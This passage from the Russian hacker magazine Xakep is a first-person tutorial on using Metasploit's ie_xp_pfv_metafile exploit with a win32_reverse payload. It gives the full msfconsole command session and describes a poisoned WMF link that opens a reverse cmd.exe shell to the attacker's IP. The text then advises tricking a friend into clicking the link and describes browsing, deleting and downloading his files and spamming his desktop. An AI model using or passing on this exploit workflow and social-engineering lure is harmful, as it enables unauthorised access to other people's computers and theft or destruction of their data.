Метавеселье на практике etoo Хакер, номер #086, стр. 086-074-2 начинаем термояд Основная программа, с которой я буду работать, называется msfconsole. Как и все остальное, она написана на перле. Запускаю программу: ./msfconsole Передо мной появляется своеобразная командная строка, дальнейший диалог с которой выглядит следующим образом: msf > use ie_xp_pfv_metafile msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse PAYLOAD -> win32_reverse msf ie_xp_pfv_metafile(win32_reverse) > set LHOST 218.10.30.191 LHOST -> 218.10.30.191 msf ie_xp_pfv_metafile(win32_reverse) > exploit [*] Starting Reverse Handler. [*] Waiting for connections to http://0.0.0.0:8080/anything.wmf Первой строчкой я указываю на то, какой эксплойт я собираюсь использовать — ie_xp_pfv_metafile. Затем определяю, какой шелл-код я хочу выполнить. В базе с шелл-кодами на www.metasploit.com для win32 есть целая гора шел-кодов и описаний к ним. Я использую win32_reverse: шелл-код выполнит cmd.exe, подключится к моему серверу и организует пайп с командной оболочкой Windows. Чтобы определить в шелл-коде, куда нужно подключаться, я устанавливаю обязательный параметр LHOST в 218.10.30.191. Есть еще параметр LPORT, который указывает номер tcp-порта, куда будет подключаться шелл-код. Но меня устраивает и значение по умолчанию (4321). Следует отметить, что сам эксплойт ie_xp_pfv_metafile может ловить эти обратные соединения, поэтому нет нужды поднимать netcat. После того как все обязательные параметры шелл-кода определены, я набиваю самую приятную в мире команду exploit, после чего сплоит сообщает, что он поднял локальный web-сервер на 8080 порту и ждет, пока кто-нибудь скачает с него файл anything.wmf. Как ты понимаешь, адрес 0.0.0.0 указывает на то, что перловый скрипт получает все доступные в системе интерфейсы. Например, в моем случае ядовитый веб-сервер висел на 218.10.30.191:8080. 218.10.30.191 — адрес внешней сетевой карточки. Время подсунуть ядовитую ссылку кому-нибудь из приятелей. подсовываем ссылку - Слушай, я охреневаю. Смотри какая штука: http://218.10.30.191/anything.wmf Одной этой фразы хватит, чтобы приятель Алеша мигом нажал на ссылку. Злобная картинка скачается к нему на машину и откроется стандартным просмотрщиком в XP. Как раз в этот момент его процессор начинает выполнять мои инструкции, которые реализованы в шелл-коде. Вот уже первый байтик срывается с его модема и летит к моему серверу: устанавливается соединение с cmd.exe и я получаю полный доступ к его системе. Вернее, пайп с cmd.exe. Можно посмотреть, какие файлы находятся у него на рабочем стале. Удалить ненужное. Подключиться к ftp-серверу и скачать интересное. Наконец создать на рабочем столе 1000 текстовых файлов со следующим содержимым: Hello guy! Happy new year! Ha-ha! Greets to Xakep magazine, God and V. Putin!. |